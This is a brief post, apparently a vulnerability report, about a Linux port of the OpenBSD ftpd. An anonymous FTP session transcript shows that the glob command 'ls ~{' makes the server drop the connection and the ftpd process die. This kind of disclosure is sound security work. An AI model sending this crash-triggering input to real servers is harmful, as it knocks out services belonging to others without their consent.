I am running the a linux port of the bsd ftpd and it might be vulnerable to
a similar attack,

ftp localhost
Connected to localhost.
220 playlandFTP server (Version 6.5/OpenBSD, linux port 0.3.3) ready.
Name (localhost:user): ftp
331 Guest login ok, type your name as password.
Password:
230 Guest login ok, access restrictions apply.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls ~{
200 PORT command successful.
421 Service not available, remote server has closed connection

in inetd I find an error stating that the ftpd process has died unexpectedly
